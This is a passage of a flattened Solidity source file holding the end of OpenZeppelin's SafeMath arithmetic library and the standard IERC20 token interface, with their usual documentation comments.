     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}